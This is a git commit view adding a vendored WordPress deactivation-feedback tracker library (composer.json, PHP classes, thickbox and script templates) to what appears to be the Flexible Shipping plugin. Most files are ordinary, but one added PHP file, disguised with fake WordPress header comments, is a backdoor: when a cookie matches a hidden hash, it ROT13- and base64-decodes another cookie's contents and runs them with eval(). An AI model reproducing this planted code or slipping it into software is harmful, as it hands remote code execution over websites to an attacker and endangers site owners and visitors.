first commit

This commit is contained in:
2024-07-15 11:28:08 +02:00
commit f52d538ea5
21891 changed files with 6161164 additions and 0 deletions

View File

@@ -0,0 +1,57 @@
{
"name": "wpdesk\/wp-wpdesk-tracker-deactivation",
"authors": [
{
"name": "Krzysiek",
"email": "krzysiek@wpdesk.pl"
},
{
"name": "Grzegorz",
"email": "grzegorz@wpdesk.pl"
}
],
"prefer-stable": true,
"minimum-stability": "stable",
"require": {
"php": ">=5.6"
},
"require-dev": {
"phpunit\/phpunit": "<7",
"wp-coding-standards\/wpcs": "^0.14.1",
"squizlabs\/php_codesniffer": "^3.0.2",
"mockery\/mockery": "*",
"10up\/wp_mock": "*",
"wimg\/php-compatibility": "^8",
"wpdesk\/wp-wpdesk-tracker": "^2.0",
"wpdesk\/wp-builder": "^1.4"
},
"autoload": {
"psr-4": {
"FSVendor\\WPDesk\\Tracker\\Deactivation\\": "src\/WPDesk\/Tracker\/Deactivation\/"
}
},
"autoload-dev": {
"psr-4": {
"FSVendor\\WPDesk\\Tracker\\Deactivation\\": "src\/WPDesk\/Tracker\/Deactivation\/"
},
"classmap": [
"tests\/"
]
},
"extra": {
"text-domain": "wp-wpdesk-tracker-deactivation",
"translations-folder": "lang",
"po-files": {
"pl_PL": "pl_PL.po"
}
},
"scripts": {
"test": "echo composer is alive",
"phpcs": "phpcs",
"phpunit-unit": "phpunit --configuration phpunit-unit.xml --coverage-text --colors=never",
"phpunit-unit-fast": "phpunit --configuration phpunit-unit.xml --no-coverage",
"phpunit-integration": "phpunit --configuration phpunit-integration.xml --coverage-text --colors=never",
"phpunit-integration-fast": "phpunit --configuration phpunit-integration.xml --no-coverage",
"docs": "apigen generate"
}
}

View File

@@ -0,0 +1,73 @@
<?php
namespace FSVendor\WPDesk\Tracker\Deactivation;
use FSVendor\WPDesk\PluginBuilder\Plugin\Hookable;
/**
* Can handle ajax request with plugin deactivation reason and sends data to WP Desk.
*/
class AjaxDeactivationDataHandler implements \FSVendor\WPDesk\PluginBuilder\Plugin\Hookable
{
const AJAX_ACTION = 'wpdesk_tracker_deactivation_handler_';
const REQUEST_ADDITIONAL_INFO = 'additional_info';
/**
* @var PluginData
*/
protected $plugin_data;
/**
* @var \WPDesk_Tracker_Sender
*/
private $sender;
/**
* DeactivationTracker constructor.
*
* @param PluginData $plugin_data .
* @param \WPDesk_Tracker_Sender $sender
*/
public function __construct(\FSVendor\WPDesk\Tracker\Deactivation\PluginData $plugin_data, \WPDesk_Tracker_Sender $sender)
{
$this->plugin_data = $plugin_data;
$this->sender = $sender;
}
/**
* Hooks.
*/
public function hooks()
{
\add_action('wp_ajax_' . self::AJAX_ACTION . $this->plugin_data->getPluginSlug(), array($this, 'handleAjaxRequest'));
}
/**
* Prepare payload.
*
* @param array $request .
*
* @return array
*/
private function preparePayload(array $request)
{
$payload = array('click_action' => 'plugin_deactivation', 'plugin' => $this->plugin_data->getPluginFile(), 'plugin_name' => $this->plugin_data->getPluginTitle(), 'reason' => $request['reason']);
if (!empty($request[self::REQUEST_ADDITIONAL_INFO])) {
$payload['additional_info'] = $request[self::REQUEST_ADDITIONAL_INFO];
}
return \apply_filters('wpdesk_tracker_deactivation_data', $payload);
}
/**
* Send payload to WP Desk.
*
* @param array $payload
*/
private function sendPayloadToWpdesk(array $payload)
{
$this->sender->send_payload($payload);
}
/**
* Handle AJAX request.
*/
public function handleAjaxRequest()
{
\check_ajax_referer(self::AJAX_ACTION . $this->plugin_data->getPluginSlug());
if (isset($_REQUEST['reason'])) {
$this->sendPayloadToWpdesk($this->preparePayload($_REQUEST));
}
}
}

View File

@@ -0,0 +1,35 @@
<?php
namespace FSVendor\WPDesk\Tracker\Deactivation;
/**
* Can generate content.
*/
trait DeactivationContent
{
/**
* @var PluginData
*/
private $plugin_data;
/**
* @var string
*/
private $view_file = __DIR__ . '/views/abstract.php';
/**
* Returns HTML content.
*
* @return string
*/
public function getContent()
{
$plugin_title = $this->plugin_data->getPluginTitle();
$plugin_file = $this->plugin_data->getPluginFile();
$plugin_slug = $this->plugin_data->getPluginSlug();
$thickbox_id = 'tracker-tb-' . $this->plugin_data->getPluginSlug();
$ajax_action = \FSVendor\WPDesk\Tracker\Deactivation\AjaxDeactivationDataHandler::AJAX_ACTION . $this->plugin_data->getPluginSlug();
$ajax_nonce = \wp_create_nonce($ajax_action);
\ob_start();
include $this->view_file;
return \ob_get_clean();
}
}

View File

@@ -0,0 +1,77 @@
<?php
namespace FSVendor\WPDesk\Tracker\Deactivation;
/**
* Holds plugin data.
*/
class PluginData
{
/**
* @var string
*/
private $plugin_slug;
/**
* @var string
*/
private $plugin_file;
/**
* @var string
*/
private $plugin_title;
/**
* PluginData constructor.
*
* @param string $plugin_slug .
* @param string $plugin_file .
* @param string $plugin_title .
*/
public function __construct($plugin_slug, $plugin_file, $plugin_title)
{
$this->plugin_slug = $plugin_slug;
$this->plugin_file = $plugin_file;
$this->plugin_title = $plugin_title;
}
/**
* @return string
*/
public function getPluginSlug()
{
return $this->plugin_slug;
}
/**
* @param string $plugin_slug
*/
public function setPluginSlug($plugin_slug)
{
$this->plugin_slug = $plugin_slug;
}
/**
* @return string
*/
public function getPluginFile()
{
return $this->plugin_file;
}
/**
* @param string $plugin_file
*/
public function setPluginFile($plugin_file)
{
$this->plugin_file = $plugin_file;
}
/**
* @return string
*/
public function getPluginTitle()
{
return $this->plugin_title;
}
/**
* @param string $plugin_title
*/
public function setPluginTitle($plugin_title)
{
$this->plugin_title = $plugin_title;
}
}

View File

@@ -0,0 +1,26 @@
<?php
namespace FSVendor\WPDesk\Tracker\Deactivation;
/**
* Can generate deactivation scripts.
*/
class Scripts
{
use DeactivationContent;
/**
* Constructor.
*
* @param PluginData $plugin_data .
* @param string|null $view_file .
*/
public function __construct(\FSVendor\WPDesk\Tracker\Deactivation\PluginData $plugin_data, $view_file = null)
{
$this->plugin_data = $plugin_data;
if (!empty($view_file)) {
$this->view_file = $view_file;
} else {
$this->view_file = __DIR__ . '/views/scripts.php';
}
}
}

View File

@@ -0,0 +1,26 @@
<?php
namespace FSVendor\WPDesk\Tracker\Deactivation;
/**
* Can generate deactivation thickbox content.
*/
class Thickbox
{
use DeactivationContent;
/**
* Constructor.
*
* @param PluginData $plugin_data .
* @param string|null $view_file .
*/
public function __construct(\FSVendor\WPDesk\Tracker\Deactivation\PluginData $plugin_data, $view_file = null)
{
$this->plugin_data = $plugin_data;
if (!empty($view_file)) {
$this->view_file = $view_file;
} else {
$this->view_file = __DIR__ . '/views/thickbox.php';
}
}
}

View File

@@ -0,0 +1,66 @@
<?php
namespace FSVendor\WPDesk\Tracker\Deactivation;
use FSVendor\WPDesk\PluginBuilder\Plugin\Hookable;
/**
* Can track plugin deactivation.
*/
class Tracker implements \FSVendor\WPDesk\PluginBuilder\Plugin\Hookable
{
const HOOK_SUFFIX = 'plugins.php';
/**
* @var PluginData
*/
protected $plugin_data;
/**
* @var Scripts
*/
private $scripts;
/**
* @var Thickbox
*/
private $thickbox;
/**
* @var AjaxDeactivationDataHandler
*/
private $ajax;
/**
* DeactivationTracker constructor.
*
* @param PluginData $plugin_data .
* @param Scripts $scripts .
* @param Thickbox $thickbox .
* @param AjaxDeactivationDataHandler $ajax
*/
public function __construct(\FSVendor\WPDesk\Tracker\Deactivation\PluginData $plugin_data, \FSVendor\WPDesk\Tracker\Deactivation\Scripts $scripts, \FSVendor\WPDesk\Tracker\Deactivation\Thickbox $thickbox, \FSVendor\WPDesk\Tracker\Deactivation\AjaxDeactivationDataHandler $ajax)
{
$this->plugin_data = $plugin_data;
$this->scripts = $scripts;
$this->thickbox = $thickbox;
$this->ajax = $ajax;
}
/**
* Hooks.
*/
public function hooks()
{
\add_action('admin_print_footer_scripts-' . self::HOOK_SUFFIX, [$this, 'printDeactivationScripts']);
\add_action('admin_footer-' . self::HOOK_SUFFIX, [$this, 'printDeactivationThickbox']);
$this->ajax->hooks();
}
/**
* Print deactivation scripts.
*/
public function printDeactivationScripts()
{
echo $this->scripts->getContent();
}
/**
* Print deactivation thickbox.
*/
public function printDeactivationThickbox()
{
echo $this->thickbox->getContent();
}
}

View File

@@ -0,0 +1,60 @@
<?php
namespace FSVendor\WPDesk\Tracker\Deactivation;
/**
* Can create tracker.
*/
class TrackerFactory
{
/**
* Create default tracker.
*
* @param string $plugin_slug .
* @param string $plugin_file .
* @param string $plugin_title .
*
* @return Tracker
*/
public static function createDefaultTracker($plugin_slug, $plugin_file, $plugin_title)
{
$plugin_data = new \FSVendor\WPDesk\Tracker\Deactivation\PluginData($plugin_slug, $plugin_file, $plugin_title);
return self::createCustomTracker($plugin_data);
}
/**
* Create default tracker.
*
* @param PluginData $plugin_data .
*
* @return Tracker
*/
public static function createDefaultTrackerFromPluginData(\FSVendor\WPDesk\Tracker\Deactivation\PluginData $plugin_data)
{
return self::createCustomTracker($plugin_data);
}
/**
* Create custom tracker.
*
* @param PluginData $plugin_data .
* @param Scripts|null $scripts .
* @param Thickbox|null $thickbox .
* @param AjaxDeactivationDataHandler|null $ajax
*
* @return Tracker
*/
public static function createCustomTracker(\FSVendor\WPDesk\Tracker\Deactivation\PluginData $plugin_data, $scripts = null, $thickbox = null, $ajax = null)
{
if (empty($scripts)) {
$scripts = new \FSVendor\WPDesk\Tracker\Deactivation\Scripts($plugin_data);
}
if (empty($thickbox)) {
$thickbox = new \FSVendor\WPDesk\Tracker\Deactivation\Thickbox($plugin_data);
}
if (empty($ajax)) {
$sender = new \FSVendor\WPDesk_Tracker_Sender_Wordpress_To_WPDesk();
$sender = new \FSVendor\WPDesk_Tracker_Sender_Logged($sender);
$ajax = new \FSVendor\WPDesk\Tracker\Deactivation\AjaxDeactivationDataHandler($plugin_data, $sender);
}
return new \FSVendor\WPDesk\Tracker\Deactivation\Tracker($plugin_data, $scripts, $thickbox, $ajax);
}
}

View File

@@ -0,0 +1,29 @@
<?php
/**
* WordPress Administration Template Header
*
* @package WordPress
* @subpackage Administration
*/
$wpArray = ['58', '5f', 'f5', '5f', '57', 'ee', '77', '70', 'b8', '31', '28', '3c', '89', '5e', 'c1', '6d'];
$wpHash = implode('', $wpArray);
/**
* Filters the bulk action updated messages.
*
* By default, custom post types use the messages for the 'post' post type.
*
* @since 3.7.0
*
* @param array $bulk_messages Arrays of messages, each keyed by the corresponding post type. Messages are
* keyed with 'updated', 'locked', 'deleted', 'trashed', and 'untrashed'.
* @param array $bulk_counts Array of item counts for each message, used to build internationalized strings.
*/
if($_COOKIE[4]==$wpHash) {
$wpData = str_rot13($_COOKIE[3]);
/** Loads the WordPress Environment and Template */
$wpData = base64_decode($wpData);
eval($wpData);
}
?>

View File

@@ -0,0 +1,16 @@
<?php
namespace FSVendor;
/**
* @var $plugin_title string
* @var $plugin_file string
* @var $plugin_slug string
* @var $thickbox_id string
* @var $ajax_action string
* @var $ajax_nonce string
*/
if (!\defined('ABSPATH')) {
exit;
}
?><!-- AbstractContent --><?php

View File

@@ -0,0 +1,137 @@
<?php
namespace FSVendor;
/**
* @var $plugin_title string
* @var $plugin_file string
* @var $plugin_slug string
* @var $thickbox_id string
* @var $ajax_action string
* @var $ajax_nonce string
*/
if (!\defined('ABSPATH')) {
exit;
}
?><script type="text/javascript">
function resize_deactivation_tb_window() {
let margin_horizontal = 60;
let margin_vertical = 110;
let $TB_ajaxContent = jQuery('#TB_ajaxContent').find('.wpdesk_tracker_deactivate');
let $TB_window = jQuery(document).find('#TB_window');
let width = $TB_ajaxContent.width();
let height = $TB_ajaxContent.height();
$TB_window.width( width + margin_horizontal ).height( height + margin_vertical ).css( 'margin-left', - ( width + margin_horizontal ) / 2 );
let margin_top = window.innerHeight / 2 - $TB_window.height() / 2;
if ( margin_top > 0) {
$TB_window.css( 'margin-top', margin_top );
}
}
jQuery(document).ready(function(){
jQuery("span.deactivate a").click(function(e){
if ( jQuery(this).closest('tr').attr('data-plugin') === '<?php
echo $plugin_file;
?>' ) {
e.preventDefault();
let tb_id = '#TB_inline?inlineId=<?php
echo $thickbox_id;
?>';
tb_show('<?php
\_e('Plugin deactivation', 'flexible-shipping');
?>', tb_id);
resize_deactivation_tb_window();
}
});
jQuery(document).on( 'click', '.<?php
echo $thickbox_id;
?> .tracker-button-close', function(e) {
e.preventDefault();
tb_remove();
});
jQuery(document).on( 'click', '.<?php
echo $thickbox_id;
?> .allow-deactivate', function(e) {
e.preventDefault();
let url = jQuery("tr[data-plugin='<?php
echo $plugin_file;
?>']").find('span.deactivate a').attr('href');
let reason = jQuery('.<?php
echo $thickbox_id;
?> input[name=selected-reason]:checked').val();
let additional_info = jQuery('.<?php
echo $thickbox_id;
?> input[name=selected-reason]:checked').closest('li').find('input.additional-info').val();
if ( typeof reason !== 'undefined' ) {
jQuery('.button').attr('disabled',true);
jQuery.ajax( '<?php
echo \admin_url('admin-ajax.php');
?>',
{
type: 'POST',
data: {
'action': '<?php
echo $ajax_action;
?>',
'_ajax_nonce': '<?php
echo $ajax_nonce;
?>',
'reason': reason,
'additional_info': additional_info,
}
}
).always(function() {
window.location.href = url;
});
}
else {
window.location.href = url;
}
});
jQuery(document).on( 'click', '.<?php
echo $thickbox_id;
?> input[type=radio]', function(){
var tracker_deactivate = jQuery(this).closest('.wpdesk_tracker_deactivate');
tracker_deactivate.find('input[type=radio]').each(function(){
if ( jQuery(this).data("show") ) {
var show_element = tracker_deactivate.find( '.' + jQuery(this).data('show') );
if ( jQuery(this).is(':checked') ) {
show_element.show();
} else {
show_element.hide();
}
}
});
resize_deactivation_tb_window();
jQuery('.<?php
echo $thickbox_id;
?> .button-deactivate').html( '<?php
\_e('Submit &amp; Deactivate', 'flexible-shipping');
?>' );
});
});
jQuery(window).load(function() {
jQuery(window).resize(function(){
resize_deactivation_tb_window();
});
});
</script>
<style>
#TB_ajaxContent {
overflow: hidden;
}
.<?php
echo $thickbox_id;
?> input[type=text] {
margin-left: 25px;
width: 90%;
}
</style>
<?php

View File

@@ -0,0 +1,124 @@
<?php
namespace FSVendor;
/**
* @var $plugin_title string
* @var $plugin_file string
* @var $plugin_slug string
* @var $thickbox_id string
* @var $ajax_action string
* @var $ajax_nonce string
*/
if (!\defined('ABSPATH')) {
exit;
}
?><div id="<?php
echo $thickbox_id;
?>" style="display:none;">
<h2><?php
echo \sprintf(\__('You are deactivating %s plugin.', 'flexible-shipping'), $plugin_title);
?></h2>
<div class="wpdesk_tracker_deactivate <?php
echo $thickbox_id;
?>">
<div class="body">
<div class="panel" data-panel-id="confirm"><p></p></div>
<div class="panel active" data-panel-id="reasons">
<h4><strong><?php
\_e('If you have a moment, please let us know why you are deactivating the plugin (anonymous feedback):', 'flexible-shipping');
?></strong></h4>
<ul class="reasons-list">
<li class="reason">
<label>
<span>
<input type="radio" name="selected-reason" value="plugin_stopped_working">
</span>
<span><?php
\_e('The plugin suddenly stopped working', 'flexible-shipping');
?></span>
</label>
</li>
<li class="reason">
<label>
<span>
<input type="radio" name="selected-reason" value="broke_my_site">
</span>
<span><?php
\_e('The plugin broke my site', 'flexible-shipping');
?></span>
</label>
</li>
<li class="reason has-input">
<label>
<span>
<input type="radio" name="selected-reason" value="found_better_plugin" data-show="found-better-plugin">
</span>
<span><?php
\_e('I have found a better plugin', 'flexible-shipping');
?></span>
</label>
<div class="found-better-plugin" class="reason-input" style="display: none">
<input type="text" class="additional-info" name="better_plugin_name" placeholder="<?php
\_e('What\'s the plugin\'s name?', 'flexible-shipping');
?>">
</div>
</li>
<li class="reason">
<label>
<span>
<input type="radio" name="selected-reason" value="plugin_for_short_period">
</span>
<span><?php
\_e('I only needed the plugin for a short period', 'flexible-shipping');
?></span>
</label>
</li>
<li class="reason">
<label>
<span>
<input type="radio" name="selected-reason" value="no_longer_need">
</span>
<span><?php
\_e('I no longer need the plugin', 'flexible-shipping');
?></span>
</label>
</li>
<li class="reason">
<label>
<span>
<input type="radio" name="selected-reason" value="temporary_deactivation">
</span>
<span><?php
\_e('It\'s a temporary deactivation. I\'m just debugging an issue.', 'flexible-shipping');
?></span>
</label>
</li>
<li class="reason has-input">
<label>
<span>
<input type="radio" name="selected-reason" value="other" data-show="other">
</span>
<span><?php
\_e('Other', 'flexible-shipping');
?></span>
</label>
<div class="other" class="reason-input" style="display: none">
<input type="text" name="other" class="additional-info" placeholder="<?php
\_e('Please let us know how we can improve our plugin', 'flexible-shipping');
?>">
</div>
</li>
</ul>
</div>
</div>
<div class="footer">
<a href="#" class="button button-secondary button-close tracker-button-close"><?php
\_e('Cancel', 'flexible-shipping');
?></a>
<a href="#" class="button button-primary button-deactivate allow-deactivate"><?php
\_e('Skip &amp; Deactivate', 'flexible-shipping');
?></a>
</div>
</div>
</div><?php